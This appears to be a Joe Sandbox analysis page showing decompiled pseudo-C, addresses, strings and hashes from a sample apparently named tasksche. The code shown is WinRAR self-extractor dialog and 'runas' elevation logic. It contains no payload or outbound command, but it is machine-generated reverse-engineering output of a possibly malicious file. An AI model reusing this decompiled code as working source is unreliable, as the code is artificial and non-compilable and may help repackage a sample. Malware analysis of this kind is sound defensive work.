				_t112 = E004060EE(__edx, _t316,  *(_t318 + 0xc),  *(_t318 + 0x10),  *(_t318 + 0x14), L"STARTDLG", 0, 0); // executed
				if(_t112 == 0) {
					_t114 =  *(_t318 + 0xc) - 0x110;
					__eflags = _t114;
					if(_t114 == 0) {
						_t115 =  *0x43981c;
						 *0x441840 = _t316;
						 *0x441844 = _t316;
						__eflags = _t115;
						if(_t115 != 0) {
							SendMessageW(_t316, 0x80, 1, _t115); // executed
						}
						_t116 =  *0x439818;
						__eflags = _t116;
						if(__eflags != 0) {
							SendDlgItemMessageW(_t316, 0x6c, 0x172, 0, _t116); // executed
						}
						E0040DBC1(_t299, __eflags, _t325, _t316);
						_t118 = GetDlgItem(_t316, 0x68);
						 *(_t318 + 0x14) = _t118;
						SendMessageW(_t118, 0x435, 0, 0x400000);
						E00419C9B(_t318 - 0x1164, 0x800);
						 *(_t318 + 0x10) = GetDlgItem(_t316, 0x66);
						_t123 = 0x44187a;
						__eflags =  *0x44187a;
						if( *0x44187a == 0) {
							_t123 = _t318 - 0x1164;
						}
						SetWindowTextW( *(_t318 + 0x10), _t123);
						E00419CB2( *(_t318 + 0x10)); // executed
						_push(0x441858);
						_push(0x44184c);
						_push(0x439820);
						_push(_t316);
						 *0x441848 = 0; // executed
						E0040E75F(_t283, _t299, __eflags); // executed
						__eflags =  *0x441858;
						if( *0x441858 > 0) {
							_push(7);
							_push( *0x44184c);
							_push(_t316);
							E0040E857(_t316);
						}
						__eflags =  *0x44185c;
						if( *0x44185c != 0) {
							_t303 = 1;
							__eflags = 1;
						} else {
							SetDlgItemTextW(_t316, 0x6b, E0040C3BF(0xbf)); // executed
							_t154 = E0040C3BF(0xbe);
							_t303 = 1;
							SetDlgItemTextW(_t316, 1, _t154); // executed
						}
						__eflags =  *0x441858;
						if( *0x441858 <= 0) {
							L103:
							__eflags =  *0x441848;
							if( *0x441848 != 0) {
								L114:
								__eflags =  *0x441874 - 2;
								if( *0x441874 == 2) {
									EnableWindow( *(_t318 + 0x10), 0);
								}
								__eflags =  *0x441870;
								if( *0x441870 != 0) {
									E004060AB(_t316, 0x67, 0);
									E004060AB(_t316, 0x66, 0);
								}
								_t127 =  *0x441874;
								__eflags = _t127;
								if(_t127 != 0) {
									__eflags =  *0x44183c;
									if( *0x44183c == 0) {
										_push(0);
										_push(_t303);
										_push(0x111);
										_push(_t316);
										__eflags = _t127 - _t303;
										if(_t127 != _t303) {
											PostMessageW();
										} else {
											SendMessageW();
										}
									}
								}
								__eflags =  *0x441832;
								if( *0x441832 != 0) {
									SetDlgItemTextW(_t316, _t303, E0040C3BF(0x90));
								}
								goto L125;
							}
							__eflags =  *0x441850;
							if( *0x441850 != 0) {
								goto L114;
							}
							__eflags =  *0x441874;
							if( *0x441874 != 0) {
								goto L114;
							}
							__eflags = 0;
							 *((short*)(_t318 - 0x9688)) = 0;
							 *(_t318 + 0xc) = 0xaa;
							do {
								__eflags =  *(_t318 + 0xc) - 0xaa;
								if( *(_t318 + 0xc) != 0xaa) {
									L109:
									__eflags =  *(_t318 + 0xc) - 0xab;
									if( *(_t318 + 0xc) != 0xab) {
										L111:
										E0041A7C9(_t318 - 0x9688, " ");
										E0041A7C9(_t318 - 0x9688, E0040C3BF( *(_t318 + 0xc)));
										goto L112;
									}
									__eflags =  *0x44185c;
									if( *0x44185c != 0) {
										goto L112;
									}
									goto L111;
								}
								__eflags =  *0x44185c;
								if( *0x44185c == 0) {
									goto L112;
								}
								goto L109;
								L112:
								 *(_t318 + 0xc) =  &( *(_t318 + 0xc)->i);
								__eflags =  *(_t318 + 0xc) - 0xb0;
							} while (__eflags <= 0);
							_t289 =  *0x438814; // 0x19fe80
							E00419A9D(_t289, __eflags,  *0x4335a4,  *(_t318 + 0x14), _t318 - 0x9688, 0, 0);
							_t303 = 1;
							__eflags = 1;
							goto L114;
						} else {
							_push(0);
							_push( *0x44184c);
							_push(_t316);
							E0040E857(_t316);
							_t145 =  *0x441850;
							__eflags = _t145;
							if(_t145 != 0) {
								__eflags =  *0x441874;
								if(__eflags == 0) {
									_t290 =  *0x438814; // 0x19fe80
									E00419A9D(_t290, __eflags,  *0x4335a4,  *(_t318 + 0x14), _t145, 0, 0);
									_push( *0x441850);
									E0041A506(0, _t303, _t316, __eflags);
								}
							}
							__eflags =  *0x441874 - _t303;
							if( *0x441874 == _t303) {
								L102:
								_push(_t303);
								_push( *0x44184c);
								_push(_t316);
								E0040E857(_t316);
								goto L103;
							} else {
								SetForegroundWindow(_t316);
								__eflags =  *0x441874 - _t303;
								if( *0x441874 == _t303) {
									goto L102;
								}
								__eflags =  *0x441879;
								if( *0x441879 != 0) {
									goto L102;
								}
								_t148 = DialogBoxParamW( *0x4335a4, L"LICENSEDLG", 0, E0040F47B, 0);
								__eflags = _t148;
								if(_t148 != 0) {
									goto L102;
								}
								 *0x44183c = 1;
								L101:
								EndDialog(_t316, _t303);
								L125:
								_t128 = _t303;
								L126:
								goto L127;
							}
						}
					}
					__eflags = _t114 != 1;
					if(_t114 != 1) {
						L7:
						_t128 = 0;
						goto L126;
					}
					_t161 = ( *(_t318 + 0x10) & 0x0000ffff) - 1;
					__eflags = _t161;
					if(_t161 == 0) {
						__eflags =  *0x44ef31;
						if( *0x44ef31 == 0) {
							_t308 = 0x800;
							GetDlgItemTextW(_t316, 0x66, _t318 - 0x2164, 0x800);
							__eflags =  *0x441833;
							if( *0x441833 == 0) {
								__eflags =  *0x441832;
								if( *0x441832 == 0) {
									_t164 = GetDlgItem(_t316, 0x68);
									 *(_t318 + 0xc) = _t164;
									__eflags =  *0x441838;
									if( *0x441838 == 0) {
										SendMessageW(_t164, 0xb1, 0, 0xffffffff);
										SendMessageW( *(_t318 + 0xc), 0xc2, 0, 0x42a73c);
										_t308 = 0x800;
									}
									SetFocus( *(_t318 + 0xc));
									__eflags =  *0x441870;
									if( *0x441870 == 0) {
										E00410B9C(_t318 - 0x1164, _t318 - 0x2164, _t308);
										E0040DD7E(_t318, _t318 - 0x1164, _t308);
										E0040BC16(_t318 - 0x3264, 0x880, E0040C3BF(0xb9), _t318 - 0x1164);
										_t320 = _t320 + 0x10;
										_t175 = _t318 - 0x3264;
									} else {
										_t175 = E0040C3BF(0xba);
									}
									E0040D298(0, _t175);
									__eflags =  *0x441879;
									if( *0x441879 == 0) {
										E0040DA8C(_t316, _t318 - 0x2164);
									}
									 *(_t318 + 0xf) = 0;
									_t178 = E0040935F(0, _t283, _t308, _t318 - 0x2164, 0);
									__eflags = _t178;
									if(_t178 != 0) {
										L38:
										_t180 = E00419C88(_t318 - 0x2164);
										 *(_t318 + 0x13) = _t180;
										__eflags = _t180;
										if(_t180 == 0) {
											_t250 = GetLastError();
											__eflags = _t250 - 5;
											if(_t250 == 5) {
												 *(_t318 + 0xf) = 1;
											}
										}
										__eflags =  *0x441879;
										if( *0x441879 != 0) {
											L47:
											__eflags =  *(_t318 + 0x13);
											if( *(_t318 + 0x13) != 0) {
												_t303 = 1;
												 *0x441834 = 1;
												E004060C9(_t316, 0x67, 0);
												E004060C9(_t316, 0x66, 0);
												SetDlgItemTextW(_t316, 1, E0040C3BF(0xe6));
												E004060C9(_t316, 0x69, 1);
												SetDlgItemTextW(_t316, 0x65, 0x42a73c);
												_t187 = GetDlgItem(_t316, 0x65);
												 *(_t318 + 0xc) = _t187;
												__eflags = _t187;
												if(_t187 != 0) {
													_t201 = GetWindowLongW(_t187, 0xfffffff0) | 0x00000080;
													__eflags = _t201;
													SetWindowLongW( *(_t318 + 0xc), 0xfffffff0, _t201);
												}
												_push(5);
												_push( *0x44184c);
												_push(_t316);
												E0040E857(_t316);
												_push(2);
												_push( *0x44184c);
												_push(_t316);
												E0040E857(_t316);
												_push(0x439820);
												_push(_t316);
												 *0x44ef31 = 1;
												E0040E2D7(_t283, _t299, __eflags);
												_push(6);
												_push( *0x44184c);
												 *0x44ef31 = 0;
												_push(_t316);
												E0040E857(_t316);
												__eflags =  *0x44183c;
												if( *0x44183c == 0) {
													__eflags =  *0x441838;
													if( *0x441838 == 0) {
														__eflags =  *0x441868;
														if( *0x441868 == 0) {
															_push(4);
															_push( *0x44184c);
															_push(_t316);
															E0040E857(_t316);
														}
													}
												}
												E004060AB(_t316, _t303, _t303);
												 *0x441834 = 0;
												L75:
												__eflags =  *0x441838;
												if( *0x441838 <= 0) {
													goto L101;
												}
												__eflags =  *0x44183c;
												if( *0x44183c != 0) {
													goto L101;
												}
												 *0x441833 = 1;
												SetDlgItemTextW(_t316, _t303, E0040C3BF(0x90));
												_t195 =  *0x4335ac; // 0x6
												__eflags = _t195 - 9;
												if(_t195 != 9) {
													__eflags = _t195 - 3;
													_t282 = ((_t195 != 0x00000003) - 0x00000001 & 0x0000000a) + 0x97;
													__eflags = ((_t195 != 0x00000003) - 0x00000001 & 0x0000000a) + 0x97;
												} else {
													_t282 = 0xa0;
												}
												_t196 = E0040C3BF(0x96);
												MessageBoxW(_t316, E0040C3BF(_t282), _t196, 0x30);
												goto L125;
											}
											__eflags =  *0x441879;
											if( *0x441879 != 0) {
												 *(_t318 + 0xf) = 0;
											}
											goto L50;
										} else {
											__eflags =  *(_t318 + 0x13);
											if( *(_t318 + 0x13) == 0) {
												L50:
												__eflags =  *(_t318 + 0xf);
												 *(_t318 + 0xf) =  *(_t318 + 0xf) == 0;
												__eflags =  *(_t318 + 0xf);
												if( *(_t318 + 0xf) != 0) {
													L64:
													_push(E0040C3BF(0x9a));
													E0040BC16(_t318 - 0x4664, 0xa00, L"\"%s\"\n%s", _t318 - 0x2164);
													E004062BA(0x4335ac, 1);
													MessageBoxW(_t316, _t318 - 0x4664, E0040C3BF(0x96), 0x30);
													 *0x441838 =  *0x441838 + 1;
													__eflags =  *0x441838;
													L65:
													_push(0);
													L66:
													EndDialog(_t316, ??);
													goto L67;
												}
												GetModuleFileNameW(0, _t318 - 0x1164, 0x800);
												E0040CFFA(0x44387a, _t318 - 0x164, 0x80);
												_push(0x44287a);
												_push(_t318 - 0x164);
												E0040BC16(_t318 - 0x9ca0, 0x230c, L"-el -s2 \"-d%s\" \"-p%s\" \"-sp%s\"", _t318 - 0x2164);
												_t320 = _t320 + 0x18;
												 *((intOrPtr*)(_t318 - 0x38)) = _t318 - 0x1164;
												 *(_t318 - 0x48) = 0x3c;
												 *((intOrPtr*)(_t318 - 0x44)) = 0x40;
												 *(_t318 - 0x40) = _t316;
												 *((intOrPtr*)(_t318 - 0x3c)) = L"runas";
												 *((intOrPtr*)(_t318 - 0x34)) = _t318 - 0x9ca0;
												 *((intOrPtr*)(_t318 - 0x30)) = 0x42a664;
												 *(_t318 - 0x2c) = 1;
												 *((intOrPtr*)(_t318 - 0x28)) = 0;
												_t223 = CreateFileMappingW(0xffffffff, 0, 0x8000004, 0, 0x7002, L"winrarsfxmappingfile.tmp");
												 *(_t318 + 0x10) = _t223;
												__eflags = _t223;
												if(_t223 != 0) {
													 *0x43a820 = 0;
													_t235 = GetCommandLineW();
													__eflags = _t235;
													if(_t235 != 0) {
														E00410B9C(0x43a822, _t235, 0x2000);
													}
													E0040D212(0x44387a, 0x43e822, 7);
													E0040D212(0x44387a, 0x43f822, 2);
													E0040D212(0x44387a, 0x440822, 0x10);
													 *(_t318 + 0x14) = MapViewOfFile( *(_t318 + 0x10), 2, 0, 0, 0);
													E0041C290(0, 0x7002, _t316, _t239, 0x43a820, 0x7002);
													_t320 = _t320 + 0xc;
												}
												_t225 = ShellExecuteExW(_t318 - 0x48);
												E0040CFA3(_t318 - 0x164, 0x80);
												E0040CFA3(_t318 - 0x9ca0, 0x230c);
												__eflags = _t225;
												if(_t225 == 0) {
													 *(_t318 + 0xf) = 1;
													goto L61;
												} else {
													WaitForInputIdle( *(_t318 - 0x10), 0x2710);
													_t312 = 0;
													__eflags = 0;
													while(1) {
														__eflags =  *( *(_t318 + 0x14));
														if( *( *(_t318 + 0x14)) != 0) {
															break;
														}
														Sleep(0x64);
														_t312 = _t312 + 1;
														__eflags = _t312 - 0x64;
														if(_t312 < 0x64) {
															continue;
														}
														break;
													}
													 *0x441868 =  *(_t318 - 0x10);
													L61:
													__eflags =  *(_t318 + 0x10);
													if( *(_t318 + 0x10) != 0) {
														UnmapViewOfFile( *(_t318 + 0x14));
														CloseHandle( *(_t318 + 0x10));
													}
													__eflags =  *(_t318 + 0xf);
													if( *(_t318 + 0xf) == 0) {
														goto L65;
													} else {
														goto L64;
													}
												}
											}
											E0040BC16(_t318 - 0x1164, _t308, L"__tmp_rar_sfx_access_check_%u", GetTickCount());
											_t320 = _t320 + 0x10;
											E00408786(_t318 - 0x5688);
											 *(_t318 - 4) = 0;
											_t247 = E00408923(_t318 - 0x5688, _t318 - 0x1164, 0x11);
											 *(_t318 + 0x13) = _t247;
											__eflags = _t247;
											if(_t247 == 0) {
												_t249 = GetLastError();
												__eflags = _t249 - 5;
												if(_t249 == 5) {
													 *(_t318 + 0xf) = 1;
												}
											}
											_t42 = _t318 - 4;
											 *_t42 =  *(_t318 - 4) | 0xffffffff;
											__eflags =  *_t42;
											_t283 = _t318 - 0x5688;
											E00408C7D(0, _t318 - 0x5688);
											goto L47;
										}
									} else {
										_t251 = GetLastError();
										__eflags = _t251 - 5;
										if(_t251 == 5) {
											L37:
											 *(_t318 + 0xf) = 1;
											goto L38;
										}
										__eflags = _t251 - 3;
										if(_t251 != 3) {
											goto L38;
										}
										goto L37;
									}
								}
								 *0x44183c = 1;
								_t303 = 1;
								goto L75;
							}
							__eflags =  *0x441832;
							if( *0x441832 != 0) {
								 *0x44183c = 1;
							}
							_push(1);
							goto L66;
						} else {
							__eflags =  *0x44ef30;
							_t256 = _t161 & 0xffffff00 |  *0x44ef30 == 0x00000000;
							__eflags = _t256;
							 *0x44ef30 = _t256;
							SetDlgItemTextW(_t316, 1, E0040C3BF((0 | _t256 != 0x00000000) + 0xe6));
							while(1) {
								__eflags =  *0x44ef30;
								if( *0x44ef30 == 0) {
									break;
								}
								__eflags =  *0x44183c;
								if( *0x44183c != 0) {
									break;
								}
								_t260 = GetMessageW(_t318 - 0x64, 0, 0, 0);
								__eflags = _t260;
								if(_t260 == 0) {
									break;
								} else {
									_t262 = IsDialogMessageW(_t316, _t318 - 0x64);
									__eflags = _t262;
									if(_t262 == 0) {
										TranslateMessage(_t318 - 0x64);
										DispatchMessageW(_t318 - 0x64);
									}
									continue;
								}
							}
							L67:
							_t128 = 1;
							goto L126;
						}
					}
					_t267 = _t161 - 1;
					__eflags = _t267;
					if(_t267 == 0) {
						 *0x44183c = 1;
						__eflags =  *0x441834;
						if( *0x441834 == 0) {
							goto L65;
						}
						__eflags =  *0x441838;
						if( *0x441838 != 0) {
							goto L67;
						} else {
							goto L65;
						}
					}
					__eflags = _t267 == 0x65;
					if(_t267 == 0x65) {
						_t271 = E004050E8(_t316, E0040C3BF(0x64), _t318 - 0x1164);
						__eflags = _t271;
						if(_t271 != 0) {
							SetDlgItemTextW(_t316, 0x66, _t318 - 0x1164);
						}
						goto L67;
					}
					goto L7;
				} else {
					_t128 = 1;
					L127:
					 *[fs:0x0] =  *((intOrPtr*)(_t318 - 0xc));
					return _t128;
				}
			}

0x0040f58d
0x0040f58d
0x0040f58d
0x0040f592
0x0040f59c
0x0040f5a3
0x0040f5b9
0x0040f5c0
0x0040f5cd
0x0040f5cd
0x0040f5d3
0x0040fc0e
0x0040fc13
0x0040fc19
0x0040fc1f
0x0040fc21
0x0040fc2c
0x0040fc2c
0x0040fc32
0x0040fc37
0x0040fc39
0x0040fc45
0x0040fc45
0x0040fc4c
0x0040fc5a
0x0040fc68
0x0040fc6b
0x0040fc7d
0x0040fc87
0x0040fc8a
0x0040fc8f
0x0040fc96
0x0040fc98
0x0040fc98
0x0040fca2
0x0040fcab
0x0040fcb0
0x0040fcb5
0x0040fcba
0x0040fcbf
0x0040fcc0
0x0040fcc6
0x0040fccb
0x0040fcd1
0x0040fcd3
0x0040fcd5
0x0040fcdb
0x0040fcdc
0x0040fcdc
0x0040fce1
0x0040fce7
0x0040fd17
0x0040fd17
0x0040fce9
0x0040fcf7
0x0040fd02
0x0040fd0a
0x0040fd0d
0x0040fd0d
0x0040fd18
0x0040fd1e
0x0040fdc1
0x0040fdc1
0x0040fdc7
0x0040fe6a
0x0040fe6a
0x0040fe71
0x0040fe77
0x0040fe77
0x0040fe7d
0x0040fe83
0x0040fe89
0x0040fe92
0x0040fe92
0x0040fe97
0x0040fe9c
0x0040fe9e
0x0040fea0
0x0040fea6
0x0040fea8
0x0040fea9
0x0040feaa
0x0040feaf
0x0040feb0
0x0040feb2
0x0040febc
0x0040feb4
0x0040feb4
0x0040feb4
0x0040feb2
0x0040fea6
0x0040fec2
0x0040fec8
0x0040fed7
0x0040fed7
0x00000000
0x0040fec8
0x0040fdcd
0x0040fdd3
0x00000000
0x00000000
0x0040fdd9
0x0040fddf
0x00000000
0x00000000
0x0040fde5
0x0040fdec
0x0040fdf3
0x0040fdf6
0x0040fdf6
0x0040fdf9
0x0040fe03
0x0040fe03
0x0040fe0a
0x0040fe14
0x0040fe20
0x0040fe37
0x00000000
0x0040fe3d
0x0040fe0c
0x0040fe12
0x00000000
0x00000000
0x00000000
0x0040fe12
0x0040fdfb
0x0040fe01
0x00000000
0x00000000
0x00000000
0x0040fe3e
0x0040fe3e
0x0040fe41
0x0040fe41
0x0040fe4a
0x0040fe62
0x0040fe69
0x0040fe69
0x00000000
0x0040fd24
0x0040fd24
0x0040fd25
0x0040fd2b
0x0040fd2c
0x0040fd31
0x0040fd36
0x0040fd38
0x0040fd3a
0x0040fd40
0x0040fd42
0x0040fd54
0x0040fd59
0x0040fd5f
0x0040fd64
0x0040fd40
0x0040fd65
0x0040fd6b
0x0040fdb4
0x0040fdb4
0x0040fdb5
0x0040fdbb
0x0040fdbc
0x00000000
0x0040fd6d
0x0040fd6e
0x0040fd74
0x0040fd7a
0x00000000
0x00000000
0x0040fd7c
0x0040fd82
0x00000000
0x00000000
0x0040fd96
0x0040fd9c
0x0040fd9e
0x00000000
0x00000000
0x0040fda0
0x0040fda7
0x0040fda9
0x0040fedd
0x0040fedd
0x0040fedf
0x00000000
0x0040fedf
0x0040fd6b
0x0040fd1e
0x0040f5d9
0x0040f5da
0x0040f5eb
0x0040f5eb
0x00000000
0x0040f5eb
0x0040f5e0
0x0040f5e0
0x0040f5e1
0x0040f648
0x0040f64e
0x0040f6ce
0x0040f6de
0x0040f6e4
0x0040f6ea
0x0040f702
0x0040f708
0x0040f71c
0x0040f722
0x0040f725
0x0040f72b
0x0040f73c
0x0040f74c
0x0040f74e
0x0040f74e
0x0040f756
0x0040f75c
0x0040f762
0x0040f77f
0x0040f78c
0x0040f7af
0x0040f7b4
0x0040f7b7
0x0040f764
0x0040f769
0x0040f769
0x0040f7bf
0x0040f7c4
0x0040f7ca
0x0040f7d3
0x0040f7d3
0x0040f7e0
0x0040f7e3
0x0040f7e8
0x0040f7ea
0x0040f800
0x0040f807
0x0040f80c
0x0040f80f
0x0040f811
0x0040f813
0x0040f819
0x0040f81c
0x0040f81e
0x0040f81e
0x0040f81c
0x0040f822
0x0040f828
0x0040f892
0x0040f892
0x0040f895
0x0040fab9
0x0040fabb
0x0040fac1
0x0040faca
0x0040fadc
0x0040fae6
0x0040faf3
0x0040fafc
0x0040fb02
0x0040fb05
0x0040fb07
0x0040fb12
0x0040fb12
0x0040fb1d
0x0040fb1d
0x0040fb23
0x0040fb25
0x0040fb2b
0x0040fb2c
0x0040fb31
0x0040fb33
0x0040fb39
0x0040fb3a
0x0040fb3f
0x0040fb44
0x0040fb45
0x0040fb4c
0x0040fb51
0x0040fb53
0x0040fb59
0x0040fb5f
0x0040fb60
0x0040fb65
0x0040fb6b
0x0040fb6d
0x0040fb73
0x0040fb75
0x0040fb7b
0x0040fb7d
0x0040fb7f
0x0040fb85
0x0040fb86
0x0040fb86
0x0040fb7b
0x0040fb73
0x0040fb8e
0x0040fb93
0x0040fb99
0x0040fb99
0x0040fb9f
0x00000000
0x00000000
0x0040fba5
0x0040fbab
0x00000000
0x00000000
0x0040fbb6
0x0040fbc5
0x0040fbcb
0x0040fbd0
0x0040fbd3
0x0040fbde
0x0040fbe8
0x0040fbe8
0x0040fbd5
0x0040fbd5
0x0040fbd5
0x0040fbf5
0x0040fc03
0x00000000
0x0040fc03
0x0040f89b
0x0040f8a1
0x0040f8a3
0x0040f8a3
0x00000000
0x0040f82a
0x0040f82a
0x0040f82d
0x0040f8a6
0x0040f8a6
0x0040f8a9
0x0040f8ad
0x0040f8b0
0x0040fa4c
0x0040fa56
0x0040fa6f
0x0040fa7e
0x0040fa98
0x0040fa9e
0x0040fa9e
0x0040faa4
0x0040faa4
0x0040faa5
0x0040faa6
0x00000000
0x0040faa6
0x0040f8c3
0x0040f8da
0x0040f8df
0x0040f8ea
0x0040f903
0x0040f908
0x0040f922
0x0040f92e
0x0040f935
0x0040f93c
0x0040f93f
0x0040f946
0x0040f949
0x0040f950
0x0040f957
0x0040f95a
0x0040f960
0x0040f963
0x0040f965
0x0040f967
0x0040f96d
0x0040f973
0x0040f975
0x0040f982
0x0040f982
0x0040f98e
0x0040f99a
0x0040f9a6
0x0040f9c0
0x0040f9c3
0x0040f9c8
0x0040f9c8
0x0040f9cf
0x0040f9e3
0x0040f9f4
0x0040f9f9
0x0040f9fb
0x0040fa2c
0x00000000
0x0040f9fd
0x0040fa05
0x0040fa0b
0x0040fa0b
0x0040fa0d
0x0040fa10
0x0040fa12
0x00000000
0x00000000
0x0040fa16
0x0040fa1c
0x0040fa1d
0x0040fa20
0x00000000
0x00000000
0x00000000
0x0040fa20
0x0040fa25
0x0040fa30
0x0040fa30
0x0040fa33
0x0040fa38
0x0040fa41
0x0040fa41
0x0040fa47
0x0040fa4a
0x00000000
0x00000000
0x00000000
0x00000000
0x0040fa4a
0x0040f9fb
0x0040f843
0x0040f848
0x0040f851
0x0040f865
0x0040f868
0x0040f86d
0x0040f870
0x0040f872
0x0040f874
0x0040f87a
0x0040f87d
0x0040f87f
0x0040f87f
0x0040f87d
0x0040f883
0x0040f883
0x0040f883
0x0040f887
0x0040f88d
0x00000000
0x0040f88d
0x0040f7ec
0x0040f7ec
0x0040f7f2
0x0040f7f5
0x0040f7fc
0x0040f7fc
0x00000000
0x0040f7fc
0x0040f7f7
0x0040f7fa
0x00000000
0x00000000
0x00000000
0x0040f7fa
0x0040f7ea
0x0040f70c
0x0040f713
0x00000000
0x0040f713
0x0040f6ec
0x0040f6f2
0x0040f6f4
0x0040f6f4
0x0040f6fb
0x00000000
0x0040f650
0x0040f650
0x0040f656
0x0040f65b
0x0040f660
0x0040f675
0x0040f6c1
0x0040f6c1
0x0040f6c7
0x0040f6c9
0x0040f6c9
0x0040f67d
0x0040f683
0x00000000
0x00000000
0x0040f690
0x0040f696
0x0040f698
0x00000000
0x0040f69e
0x0040f6a3
0x0040f6a9
0x0040f6ab
0x0040f6b1
0x0040f6bb
0x0040f6bb
0x00000000
0x0040f6ab
0x0040f698
0x0040faac
0x0040faae
0x00000000
0x0040faae
0x0040f64e
0x0040f5e3
0x0040f5e3
0x0040f5e4
0x0040f624
0x0040f62b
0x0040f631
0x00000000
0x00000000
0x0040f637
0x0040f63d
0x00000000
0x0040f643
0x00000000
0x0040f643
0x0040f63d
0x0040f5e6
0x0040f5e9
0x0040f602
0x0040f607
0x0040f609
0x0040f619
0x0040f619
0x00000000
0x0040f609
0x00000000
0x0040f5c2
0x0040f5c4
0x0040fee0
0x0040fee5
0x0040feed
0x0040feed

APIs

__EH_prolog.LIBCMT ref: 0040F592

Strings

winrarsfxmappingfile.tmp, xrefs: 0040F90B
LICENSEDLG, xrefs: 0040FD8B
-el -s2 "-d%s" "-p%s" "-sp%s", xrefs: 0040F8F2
__tmp_rar_sfx_access_check_%u, xrefs: 0040F836
STARTDLG, xrefs: 0040F5AA
@, xrefs: 0040F935
"%s"%s, xrefs: 0040FA5E
<, xrefs: 0040F92E
z8D, xrefs: 0040F8D5

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID: "%s"%s$-el -s2 "-d%s" "-p%s" "-sp%s"$<$@$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp$z8D
API String ID: 3519838083-129321368
Opcode ID: 3e22b9167650f30d537fb4cfd94c1d1bb0624e878141266c6b2e26dc19fa7bc3
Instruction ID: cc4c1e380d3e9e53cf766c3de9df5bd6880f95cbde9f973ccf433d51db550174
Opcode Fuzzy Hash: 3e22b9167650f30d537fb4cfd94c1d1bb0624e878141266c6b2e26dc19fa7bc3
Instruction Fuzzy Hash: C732C371540248BFEB31BF619C85E9B3A68EB06304F44407BF901B61E2DB794999CB6E

Uniqueness

Uniqueness Score: -1.00%

Function 0040BC32 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 240
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E0040BC32(intOrPtr* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t82;
				WCHAR* _t83;
				intOrPtr _t90;
				void* _t91;
				unsigned int _t92;
				signed int _t100;
				intOrPtr _t102;
				intOrPtr _t104;
				intOrPtr _t106;
				signed int _t114;
				void* _t115;
				signed int _t116;
				signed int _t119;
				void* _t134;
				signed int _t139;
				signed int _t141;
				void* _t150;
				signed int _t153;
				signed int _t154;
				intOrPtr _t156;
				signed int _t158;
				signed int _t159;
				signed int _t160;
				signed int _t161;
				intOrPtr* _t165;
				void* _t167;
				void* _t169;

				_t150 = __edx;
				E0041A4DC(E0042977F, _t167);
				E0041AAF0(0x4034);
				_t165 = __ecx;
				_t82 = E0041CA29( *((intOrPtr*)(_t167 + 8)), 0x5c);
				_t83 = _t167 - 0x2040;
				if(_t82 != 0) {
					L3:
					E0041A7F7(_t83,  *((intOrPtr*)(_t167 + 8)));
					E00408786(_t167 - 0x1040);
					_push(4);
					_t123 = 0;
					_push(_t167 - 0x2040);
					 *(_t167 - 4) = 0;
					if(E004087C3(_t167 - 0x1040) != 0) {
						_t12 = _t167 - 0x10;
						 *_t12 =  *(_t167 - 0x10) | 0xffffffff;
						__eflags =  *_t12;
						 *((char*)(_t167 + 0xb)) = 0;
						 *((intOrPtr*)(_t167 - 0x14)) = 0;
						_push(_t154);
						while(1) {
							__eflags =  *(_t167 - 0x10) - 0xffffffff;
							if( *(_t167 - 0x10) != 0xffffffff) {
								break;
							}
							_t104 = E00408BAE(_t167 - 0x1040, _t150); // executed
							 *((intOrPtr*)(_t167 - 0x1c)) = _t104;
							_t143 = _t167 - 0x1040;
							_t106 = E00408E7B(_t167 - 0x1040, _t150, _t167 - 0x4040, 0x2000); // executed
							 *((intOrPtr*)(_t167 - 0x18)) = _t106;
							_t154 = 0;
							__eflags = _t106 + 0xfffffff0 - _t123;
							if(_t106 + 0xfffffff0 < _t123) {
								L22:
								_t123 = 0;
								E00408FED(_t167 - 0x1040,  *((intOrPtr*)(_t167 - 0x18)) +  *((intOrPtr*)(_t167 - 0x1c)) - 0x10, 0, 0);
								 *((intOrPtr*)(_t167 - 0x14)) =  *((intOrPtr*)(_t167 - 0x14)) + 1;
								__eflags =  *((intOrPtr*)(_t167 - 0x14)) - 0x80;
								if( *((intOrPtr*)(_t167 - 0x14)) < 0x80) {
									continue;
								} else {
									__eflags =  *(_t167 - 0x10) - 0xffffffff;
									if( *(_t167 - 0x10) == 0xffffffff) {
										goto L51;
									} else {
										break;
									}
								}
							} else {
								do {
									_t123 = _t167 + _t154 - 0x4040;
									__eflags =  *_t123 - 0x2a;
									if( *_t123 != 0x2a) {
										L11:
										__eflags =  *_t123 - 0x2a;
										if( *_t123 != 0x2a) {
											L15:
											__eflags =  *_t123 - 0x52;
											if( *_t123 != 0x52) {
												goto L18;
											} else {
												__eflags =  *((char*)(_t167 + _t154 - 0x403f)) - 0x61;
												if( *((char*)(_t167 + _t154 - 0x403f)) != 0x61) {
													goto L18;
												} else {
													_t114 = E0041D008(_t143, _t167 + _t154 - 0x403e, 0x42a6f0, 4);
													_t169 = _t169 + 0xc;
													__eflags = _t114;
													if(_t114 == 0) {
														L51:
														_t134 = _t167 - 0x1040;
													} else {
														goto L18;
													}
												}
											}
										} else {
											_t115 = _t167 + _t154 - 0x403c;
											__eflags =  *((short*)(_t115 - 2)) - 0x2a;
											if( *((short*)(_t115 - 2)) != 0x2a) {
												goto L15;
											} else {
												_t143 =  *((intOrPtr*)(_t167 - 0x18)) + 0xffffffe0;
												__eflags = _t154 -  *((intOrPtr*)(_t167 - 0x18)) + 0xffffffe0;
												if(_t154 >  *((intOrPtr*)(_t167 - 0x18)) + 0xffffffe0) {
													goto L15;
												} else {
													_t116 = E0041C81C(_t115, L"*messages***", 0xb);
													_t169 = _t169 + 0xc;
													__eflags = _t116;
													if(_t116 == 0) {
														 *((char*)(_t167 + 0xb)) = 1;
														goto L21;
													} else {
														goto L15;
													}
												}
											}
										}
									} else {
